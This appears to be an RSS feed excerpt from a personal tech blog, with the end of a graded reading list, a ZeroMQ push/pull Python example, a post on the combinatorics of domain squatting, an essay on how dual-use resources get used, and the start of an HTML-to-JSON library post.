&lt;li>Kenneth Reitz and Tanya Schlusser&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Hope of Israel&lt;/i> [B]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Philip Mauro&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Language of Salvation: Discovering the Riches of What It Means to Be Saved&lt;/i> [B]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Victor Kuligin&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Meaning of Marriage&lt;/i> [B&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Tim and Kathy Keller&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Sensate Culture: Western Civilization Between Chaos and Transformation&lt;/i> [A&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Harold O.J. Brown&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Seven Secrets of How to Think Like a Rocket Scientist&lt;/i> [B]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>James Longuski&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Stones Cry Out: A Theological Tour of Independent Presbyterian Church of Savannah&lt;/i> [A]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Rev. Terry L. Johnson&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Weight of Glory (&lt;a href="http://www.wheelersburg.net/Downloads/Lewis%20Glory.pdf">link&lt;/a>)&lt;/i> [A]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>C. S. Lewis&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Westminster Confession of Faith - For Study Classes&lt;/i> [n/a]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>G. I. Williamson&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Westminster Standards: Confession of Faith, Larger, and Shorter Catechisms&lt;/i> [n/a]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>n/a&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>What Algorithms Want: Imagination in the Age of Computing&lt;/i> [C-]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Ed Finn&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>What Anglicans Believe&lt;/i> [C]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>David L. Edwards&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>What is the Reformed Faith?&lt;/i> [B]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>John R. de Witt&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>You are Not so Smart&lt;/i> [B]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>David McRaney&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Surely You&amp;rsquo;re Joking Mr. Feynman!&lt;/i> [C&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Richard Feynman&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fun read - feels like a modern, scientific Mark Twain&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Ploductivity: A Practical Theology of Work &amp;amp; Wealth&lt;/i> [A&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Douglas Wilson&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Envisioning Information&lt;/i> [A&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Edward R. Tufte&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Assurance of Salvation&lt;/i> [C]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>R. C. Sproul&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Lord of the Rings: The Fellowship of the Ring&lt;/i> [B]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>J. R. Tolkien&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Lord of the Rings: The Two Towers&lt;/i> [B&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>J. R. Tolkien&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Lord of the Rings: The Return of the King&lt;/i> [A-]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>J. R. Tolkien&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Christian Criticism of Life&lt;/i> [A&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Lyyn Harold Hough&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;/ol>
&lt;/section></description></item><item><title>Simple, Non-blocking, Push/Pull Example with ZeroMQ</title><link>https://hightower.space/posts/zeromq-push-pull/</link><pubDate>Tue, 26 Feb 2019 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/zeromq-push-pull/</guid><description>&lt;h3 id="intro">Intro&lt;/h3>
&lt;p>While working on &lt;a href="https://totalemail.io">TotalEmail&lt;/a>, I ran across a situation in which we needed to make a non-blocking request (a request where the client makes the request without waiting or expecting a response). To accomplish this, I started looking into &lt;a href="http://zeromq.org/">ZeroMQ&lt;/a>. ZeroMQ is amazing! It is very well-structured and generalizes the problem of messaging between machines very effectively.&lt;/p>
&lt;p>While the &lt;a href="http://zeromq.org/">ZeroMQ&lt;/a> &lt;a href="http://zguide.zeromq.org/page:all">documentation&lt;/a> is extensive, it is easy (at least for me) to get lost in the docs and forget the simplicity and elegance of ZeroMQ. In this post, I share a simple, non-blocking, push/pull system that pushes from a client (without waiting for a response) and pulls the data into a server. The benefit of this construct is that the client does not wait for a response from the server. In this sense, it is a non-blocking operation.&lt;/p>
&lt;h3 id="the-code">The Code&lt;/h3>
&lt;h4 id="client">Client&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#e7e9db;background-color:#2f1e2e;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#5bc4bf">import&lt;/span> &lt;span style="color:#fec418">zmq&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>context &lt;span style="color:#5bc4bf">=&lt;/span> zmq&lt;span style="color:#5bc4bf">.&lt;/span>Context()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#776e71"># Socket to send messages on&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sender &lt;span style="color:#5bc4bf">=&lt;/span> context&lt;span style="color:#5bc4bf">.&lt;/span>socket(zmq&lt;span style="color:#5bc4bf">.&lt;/span>PUSH)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sender&lt;span style="color:#5bc4bf">.&lt;/span>bind(&lt;span style="color:#48b685">&amp;#34;tcp://*:5559&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#815ba4">for&lt;/span> i &lt;span style="color:#5bc4bf">in&lt;/span> range(&lt;span style="color:#f99b15">3&lt;/span>):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> print(&lt;span style="color:#48b685">&amp;#39;sending &lt;/span>&lt;span style="color:#f99b15">{}&lt;/span>&lt;span style="color:#48b685">&amp;#39;&lt;/span>&lt;span style="color:#5bc4bf">.&lt;/span>format(i))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sender&lt;span style="color:#5bc4bf">.&lt;/span>send_string(str(i))
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The client binds to a port (&lt;code>5559&lt;/code> - this port is used in the server code as well) and then sends the numbers zero, one, and two to the server. The client pushes data (as specified by the &lt;code>zmq.PUSH&lt;/code>) which means that it does not wait for a response from the server.&lt;/p>
&lt;h4 id="server">Server&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#e7e9db;background-color:#2f1e2e;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#5bc4bf">import&lt;/span> &lt;span style="color:#fec418">time&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#5bc4bf">import&lt;/span> &lt;span style="color:#fec418">zmq&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>context &lt;span style="color:#5bc4bf">=&lt;/span> zmq&lt;span style="color:#5bc4bf">.&lt;/span>Context()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#776e71"># Socket to receive messages on&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>receiver &lt;span style="color:#5bc4bf">=&lt;/span> context&lt;span style="color:#5bc4bf">.&lt;/span>socket(zmq&lt;span style="color:#5bc4bf">.&lt;/span>PULL)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>receiver&lt;span style="color:#5bc4bf">.&lt;/span>connect(&lt;span style="color:#48b685">&amp;#34;tcp://localhost:5559&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#815ba4">def&lt;/span> &lt;span style="color:#06b6ef">print_value&lt;/span>(s):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> time&lt;span style="color:#5bc4bf">.&lt;/span>sleep(&lt;span style="color:#f99b15">2&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> print(&lt;span style="color:#48b685">&amp;#39;value: &lt;/span>&lt;span style="color:#f99b15">{}&lt;/span>&lt;span style="color:#48b685">&amp;#39;&lt;/span>&lt;span style="color:#5bc4bf">.&lt;/span>format(s))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#776e71"># Process tasks forever&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#815ba4">while&lt;/span> &lt;span style="color:#815ba4">True&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> s &lt;span style="color:#5bc4bf">=&lt;/span> receiver&lt;span style="color:#5bc4bf">.&lt;/span>recv_string()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> print(&lt;span style="color:#48b685">&amp;#39;received &lt;/span>&lt;span style="color:#f99b15">{}&lt;/span>&lt;span style="color:#48b685">&amp;#39;&lt;/span>&lt;span style="color:#5bc4bf">.&lt;/span>format(s))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> print_value(s)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The server is designed to pull content (as specified by the &lt;code>zmq.PULL&lt;/code>) from &lt;code>tcp://localhost:5559&lt;/code>. When it receives something, it will send it to the &lt;code>print_value&lt;/code> function where the value will be printed off after two seconds. Again, the nice thing about this setup is that, even though the server takes some time to process the incoming data, the client doesn&amp;rsquo;t have to wait around for a response from the server.&lt;/p>
&lt;h3 id="benefits">Benefits&lt;/h3>
&lt;p>This construct is helpful because it:&lt;/p>
&lt;ul>
&lt;li>Keeps the communication between systems as simple as possible
&lt;ul>
&lt;li>No worrying about http status codes, query parameters, or request bodies&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Is non-blocking in the sense that the client doesn&amp;rsquo;t wait for a response from the server&lt;/li>
&lt;li>Is simple (in terms of the code required to accomplish the task)&lt;/li>
&lt;/ul>
&lt;p>If you have never used ZeroMQ, give it a try! It is fun to use and opens some exciting doors.&lt;/p></description></item><item><title>Domain Squatting Math</title><link>https://hightower.space/posts/math-behind-domain-squatting/</link><pubDate>Sat, 23 Feb 2019 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/math-behind-domain-squatting/</guid><description>&lt;blockquote>
&lt;p>&amp;ldquo;Compound interest is the eighth wonder of the world. He who understands it, earns it &amp;hellip; he who doesn&amp;rsquo;t &amp;hellip; pays it.&amp;rdquo;&lt;/p>
&lt;p>― Albert Einstein&lt;/p>&lt;/blockquote>
&lt;h2 id="what-is-domain-squatting">What is domain squatting?&lt;/h2>
&lt;p>Domain squatting is when someone registers a domain name which looks like another domain name. Usually, the term &amp;ldquo;domain squatting&amp;rdquo; is used in a context where malicious intent is implied. For example, someone trying to steal passwords may register the domain name &lt;code>gooogle.com&lt;/code> (with an extra &lt;code>o&lt;/code> in it). This way, he/she could send emails to potential victims with links to &lt;code>gooogle.com&lt;/code> and the potential victims would be more likely to mistake this domain for the real thing and click the links.&lt;/p>
&lt;h2 id="the-math-of-domain-squatting">The math of domain squatting&lt;/h2>
&lt;p>The are &lt;a href="https://github.com/xn-twist/xn-twist">numerous&lt;/a> &lt;a href="https://github.com/elceef/dnstwist">algorithms&lt;/a> available to find domain squats for a given domain, but the difficulty is that finding domain squats for a given domain is computationally difficult and demonstrates exponential growth. Let&amp;rsquo;s examine this a bit more.&lt;/p>
&lt;p>For starters, how many possible domain squats are there for &lt;code>abc.com&lt;/code>? Let&amp;rsquo;s assume the &lt;a href="https://en.wikipedia.org/wiki/Top-level_domain">top level domain&lt;/a> (e.g. &lt;code>.com&lt;/code>) remains the same - we&amp;rsquo;ll just focus on the &lt;code>abc&lt;/code> bit. Let&amp;rsquo;s also pretend that there are two characters which can replace each of the characters in &lt;code>abc&lt;/code>. In other words, we can replace &lt;code>a&lt;/code> with &lt;code>а&lt;/code> (a character from the Cyrillic alphabet) or &lt;code>α&lt;/code> (a character from the Greek alphabet) and we can replace both &lt;code>b&lt;/code> and &lt;code>c&lt;/code> with two other characters as well. So, for each character in &lt;code>abc&lt;/code>, we have three options:&lt;/p>
&lt;ol>
&lt;li>Replace it with the first option&lt;/li>
&lt;li>Replace it with the second option&lt;/li>
&lt;li>Keep it the same&lt;/li>
&lt;/ol>
&lt;p>For each character, we have the three options we listed above, so all possible combinations amount to: &lt;code>3 * 3 * 3 = 27&lt;/code>. But, one of the twenty seven configurations is one in which all of the characters in the original domain are kept the same. Because this does not constitute a domain squat, we remove this one to get &lt;code>26&lt;/code> as our final answer. A domain with three characters and an average of two replacements per character can produce twenty six domain squats!&lt;/p>
&lt;p>We can represent the number of domain squats formulaically as:&lt;/p>
&lt;pre tabindex="0">&lt;code>((r + 1) ^ n) - 1
&lt;/code>&lt;/pre>&lt;p>where&lt;/p>
&lt;ul>
&lt;li>&lt;code>r&lt;/code> is the number of characters which can replace each character in the domain&lt;/li>
&lt;li>&lt;code>n&lt;/code> is number of characters in the domain&lt;/li>
&lt;/ul>
&lt;p>Thus, the number of possible replaces for a domain name that is 10 characters long assuming we can replace each character with 10 other characters is: &lt;code>((10 + 1) ^ 10) - 1 = (11 ^ 10) - 1 = 25,937,424,600&lt;/code>. 25 &lt;strong>billion&lt;/strong> possible domain squats! This is the challenge of finding domain squats; it is a system that grows exponentially. What if we keep everything the same, but find domain squats for a domain which is 11 characters long? That works out to be: &lt;code>10 ^ 11 = 285,311,670,610&lt;/code>. 285 &lt;strong>billion&lt;/strong>! If you were to plot 25 billion on a number line stretching between zero and 285 billion, it would look something like:&lt;/p>
&lt;p>&lt;code>0....|............................................285,000,000,000&lt;/code>&lt;/p>
&lt;p>Adding one more character to our domain name, we have exponentially increased the possible squats.&lt;/p>
&lt;p>Below is some &lt;a href="https://clojure.org/api/cheatsheet">clojure&lt;/a> code you can play with to find the number of domain squats for domains of various lengths. Notice that adding one character to a domain&amp;rsquo;s length increases the amount of time required to find all domain squats exponentially (non-linearly)!&lt;/p>
&lt;link rel="stylesheet" type="text/css" href="https://storage.googleapis.com/app.klipse.tech/css/codemirror.css">
&lt;script>
window.klipse_settings = {
selector: '.language-klipse'
};
&lt;/script>
&lt;pre>&lt;code class="language-klipse">
(defn pow [n x]
(reduce * (repeat x n)))
(defn possible-domain-squats [domain-length avg-replacement-chars]
(dec (pow (inc avg-replacement-chars) domain-length)))
; change the values below to see how the possible domain squats change
(def domain-length 10)
(def avg-replacement-chars 10)
(possible-domain-squats domain-length avg-replacement-chars)
&lt;/code>&lt;/pre>
&lt;p>Here is another way to systematically observe how the number of domain squats changes with the size of the domain name. We assume ten replacement characters (that is, each character in the domain can be replaced with ten characters - which is very reasonable) for domains of varying lengths:&lt;/p>
&lt;pre>&lt;code class="language-klipse">
(for [domain-length (range 3 16)
:let [squats (possible-domain-squats domain-length 10)]]
{:domain-length domain-length :squats squats})
&lt;/code>&lt;/pre>
&lt;script src="https://storage.googleapis.com/app.klipse.tech/plugin/js/klipse_plugin.js">&lt;/script></description></item><item><title>Conjecture on Resource Utilization</title><link>https://hightower.space/posts/resource-utilization/</link><pubDate>Mon, 11 Feb 2019 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/resource-utilization/</guid><description>&lt;blockquote>
&lt;p>We fifty-four were the masters of England! Twenty-five thousand men lay dead around us. But how treacherous is fortune! In a little while - say an hour - happened a thing, by my own fault, which - but I have no heart to write that. Let the record end here.&lt;sup>1&lt;/sup>&lt;/p>&lt;/blockquote>
&lt;aside class="marginnote">
&lt;span class="noteNumber">1&lt;/span> - Written by "The Boss" (from &lt;i>A Connecticut Yankee in King Arthur's Court&lt;/i>)
&lt;/aside>
&lt;blockquote>
&lt;p>We were in a trap, you see - a trap of our own making&amp;hellip; we had conquered; in turn we were conquered.&lt;sup>2&lt;/sup>&lt;/p>&lt;/blockquote>
&lt;aside class="marginnote">
&lt;span class="noteNumber">2&lt;/span> - Postscript from Clarence (from &lt;i>A Connecticut Yankee in King Arthur's Court&lt;/i>)
&lt;/aside>
&lt;blockquote>
&lt;p>Power tends to corrupt and absolute power corrupts absolutely. Great men are almost always bad men, even when they exercise influence and not authority: still more when you superadd the tendency or the certainty of corruption by authority. There is no worse heresy than that the office sanctifies the holder of it.&lt;sup>3&lt;/sup>&lt;/p>&lt;/blockquote>
&lt;aside class="marginnote">
&lt;span class="noteNumber">3&lt;/span> - Lord Acton (in his &lt;a href="https://history.hanover.edu/courses/excerpts/165acton.html" target="_blank">letter&lt;/a> to Archbishop Mandell Creighton)
&lt;/aside>
&lt;blockquote>
&lt;p>When the woman saw that the tree was good for food, and that it was a delight to the eyes, and that it was desirable to make wise, she took from its fruit and ate; and she gave also to her husband with her, and he ate.&lt;sup>4&lt;/sup>&lt;/p>&lt;/blockquote>
&lt;aside class="marginnote">
&lt;span class="noteNumber">4&lt;/span> - Genesis 3:6
&lt;/aside>
&lt;blockquote>
&lt;p>Awake, arise or be for ever fall’n.&lt;sup>5&lt;/sup>&lt;/p>&lt;/blockquote>
&lt;aside class="marginnote">
&lt;span class="noteNumber">5&lt;/span> - Spoken by Satan in &lt;i>Paradise Lost&lt;/i>
&lt;/aside>
&lt;hr>
&lt;h3 id="thesis">Thesis&lt;/h3>
&lt;p>One thing is clear about the internet age; it provides men with a scope and scale of resources hitherto unparalleled. This essay addresses, in a small way, how men tend to use the resources available to them. I will write with a particular focus on the internet and software, but the principles described here can probably be applied to other areas of economics and society in general.&lt;/p>
&lt;p>My thesis is this:&lt;/p>
&lt;blockquote>
&lt;p>Regarding resources which can be used for evil and for good:&lt;/p>
&lt;p>As the difficulty of procuring and using a resource increases, the probability of that resource being used for evil increases disproportionately to the probability of it being used for good.&lt;/p>&lt;/blockquote>
&lt;p>Before explaining this further, I must address the elephant in the room: morality. My conjecture on resource utilization uses the terms &amp;ldquo;evil&amp;rdquo; and &amp;ldquo;good&amp;rdquo; and, thus, assumes some moral standard by which &amp;ldquo;evil&amp;rdquo; and &amp;ldquo;good&amp;rdquo; can be judged. As a Christian, I believe that God Himself is the standard of goodness and evil is that which is against His character and outside of His design. That being said, a morality rooted in the nature of the Christian God is not necessary to defend and understand my conjecture; one simply has to have some objective morality by which actions and uses of resources can be judged.&lt;/p>
&lt;p>For the scope of this essay, let us assume a generally agreed-upon moral position like: &amp;ldquo;the intentional killing of innocent human beings is evil&amp;rdquo; and &amp;ldquo;protecting innocent human beings from being killed is good&amp;rdquo;. Now that we have that settled&lt;sup>6&lt;/sup>, what about my thesis?&lt;/p>
&lt;aside class="marginnote">
&lt;span class="noteNumber">6&lt;/span> - If this does not settle it for you, then there must be an immense canyon dividing our philosophies which is too great to be bridged in this essay. You may as well stop reading.
&lt;/aside>
&lt;p>My thesis is founded on the idea that there are certain resources (perhaps natural resources, time, energy, software available on the internet, or our natural abilities) that can be used to accomplish evil and can be used to accomplish good. For example, some people are naturally very persuasive. Considering this ability as a resource, it is possible to use this resource for good (e.g. to persuade someone not to kill someone else) or for evil (e.g. to persuade someone to kill an innocent person). In the software world, the existence of software projects that can be used for evil and good are everywhere; from &lt;a href="https://github.com/xn-twist/xn-twist">domain-squat creation algorithms&lt;/a> to &lt;a href="https://securingtomorrow.mcafee.com/consumer/identity-protection/what-is-rat/">remote administration tools&lt;/a>. These tools can be used alternatively for good or evil based on the intentions of the user. This thesis seeks to describe only those resources which have relatively the same, innate probabilities of being used for good vs. evil. In other words, these are resource where there is nothing inherently limiting or inclining the use of the resources to evil or good.&lt;/p>
&lt;p>My thesis also includes an assumption that some resources are more difficult to get and/or use. This is pretty self-explanatory (especially to anyone who has worked in IT, software development, or computer security), so I won&amp;rsquo;t belabor the point. Just keep in mind that the procurement and use of all resources are not equal.&lt;/p>
&lt;p>With these assumptions in mind, my thesis is the result of the question:&lt;/p>
&lt;blockquote>
&lt;p>Is there a way to determine whether or not a resource/technology is more likely to be used for good vs. evil?&lt;/p>&lt;/blockquote>
&lt;p>At first blush, the answer is no, there is no clear way to determine whether a resource will be used for good vs. evil. We&amp;rsquo;ve assumed that we are only discussing resources which have no innate inclination toward good or evil, so there is nothing in the resource itself to give us a clue as to its potential use. The only entity that would make the use of a resource more or less likely to be used for good would be the users. For resources that are easy to procure and use, I posit that it is unlikely that we would be able to determine how a resource will likely be used. But what happens when the resource gets more difficult to procure and/or use? I propose that such resources are more likely and increasingly more likely to be used for evil. In other words, the more difficult a resource is to procure and/or use, it is more probable that the resource will be used for evil rather than for good. I believe this occurs for a number of reasons which vary based on the context and the nature of the resource, but I&amp;rsquo;ve identified a few, possible causes below focusing on the realm of software.&lt;/p>
&lt;h3 id="causes">Causes&lt;/h3>
&lt;p>&lt;i>What, in my estimation, causes my conjecture to be true?&lt;/i>&lt;/p>
&lt;p>In the realm of software and computer security, I believe my conjecture is true because:&lt;/p>
&lt;ol>
&lt;li>Those who desire to do evil are generally more motivated than those who wish to do good.&lt;sup>7&lt;/sup>&lt;/li>
&lt;li>Those who desire to do evil generally do not have as many restrictions and boundaries (administrative, moral, and organizational) within which they must operate as those who do good - thus making it more likely for them to undertake and accomplish difficult tasks.&lt;/li>
&lt;li>Those who desire to do evil generally are more invested in their work. Part of this occurs because those working to do evil are often working alone and are directly involved in a malicious operation (whereas those working for good are often part of a more structured team where there is more &lt;a href="https://en.wikipedia.org/wiki/Plausible_deniability">plausible deniability&lt;/a> and less buy-in).&lt;/li>
&lt;li>Those who desire to do evil generally have more freedom to experiment and less pressure to perform in measurable ways - this allows them to experiment and be willing to &amp;lsquo;waste&amp;rsquo; more time.&lt;/li>
&lt;/ol>
&lt;aside class="marginnote">
&lt;span class="noteNumber">7&lt;/span> - This could probably be its own conjecture. In my anecdotal experience, this is generally true; doing the 'bad' stuff is cool and doing the 'good' stuff is boring.
&lt;/aside>
&lt;h3 id="implications-and-applications">Implications and Applications&lt;/h3>
&lt;p>&lt;i>If my thesis is true, what are some implications and applications of this?&lt;/i>&lt;/p>
&lt;p>Here are a few points that come to mind (specifically applicable to businesses in the computer security world):&lt;/p>
&lt;ul>
&lt;li>Teams that are seeking to use resources for good should pursue models that allow for experimentation with hard-to-procure and/or hard-to-find resources.&lt;/li>
&lt;li>Teams that are seeking to use resources for good should cultivate a culture that promotes freedom, experimentation, and buy-in. Each team member should feel that what he/she contributes is significant and that he/she is responsible for his/her actions.&lt;/li>
&lt;li>When creating publicly available software that could be used for evil or good, design the software with a bias towards the good use-cases rather than the evil ones.&lt;/li>
&lt;li>When creating publicly available software that could be used for evil or good, make it as easy to procure and use as possible. This will increase the probability that it will be used for good.&lt;/li>
&lt;/ul></description></item><item><title>HTML-to-JSON Conversion Library</title><link>https://hightower.space/posts/html-to-json/</link><pubDate>Sun, 03 Feb 2019 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/html-to-json/</guid><description>&lt;h3 id="html-to-json-library">HTML-to-JSON Library&lt;/h3>
&lt;p>I have a project &lt;a href="https://gitlab.com/fhightower/html-to-json">here&lt;/a> to convert HTML to JSON. You can find installation instructions here: &lt;a href="https://gitlab.com/fhightower/html-to-json#installation">https://gitlab.com/fhightower/html-to-json#installation&lt;/a>.&lt;/p>
&lt;p>The library can convert any/all html to json such that this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#e7e9db;background-color:#2f1e2e;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-html" data-lang="html">&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#5bc4bf">head&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#5bc4bf">title&lt;/span>&amp;gt;Floyd Hightower&amp;#39;s Projects&amp;lt;/&lt;span style="color:#5bc4bf">title&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#5bc4bf">meta&lt;/span> &lt;span style="color:#06b6ef">charset&lt;/span>&lt;span style="color:#5bc4bf">=&lt;/span>&lt;span style="color:#48b685">&amp;#34;UTF-8&amp;#34;&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#5bc4bf">meta&lt;/span> &lt;span style="color:#06b6ef">name&lt;/span>&lt;span style="color:#5bc4bf">=&lt;/span>&lt;span style="color:#48b685">&amp;#34;description&amp;#34;&lt;/span> &lt;span style="color:#06b6ef">content&lt;/span>&lt;span style="color:#5bc4bf">=&lt;/span>&lt;span style="color:#48b685">&amp;#34;Floyd Hightower&amp;amp;#39;s Projects&amp;#34;&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#5bc4bf">meta&lt;/span> &lt;span style="color:#06b6ef">name&lt;/span>&lt;span style="color:#5bc4bf">=&lt;/span>&lt;span style="color:#48b685">&amp;#34;keywords&amp;#34;&lt;/span> &lt;span style="color:#06b6ef">content&lt;/span>&lt;span style="color:#5bc4bf">=&lt;/span>&lt;span style="color:#48b685">&amp;#34;projects,fhightower,Floyd,Hightower&amp;#34;&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#5bc4bf">head&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>becomes:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#e7e9db;background-color:#2f1e2e;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-json" data-lang="json">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#5bc4bf">&amp;#34;head&amp;#34;&lt;/span>: [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#5bc4bf">&amp;#34;title&amp;#34;&lt;/span>: [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#5bc4bf">&amp;#34;value&amp;#34;&lt;/span>: &lt;span style="color:#48b685">&amp;#34;Floyd Hightower\&amp;#39;s Projects&amp;#34;&lt;/span>
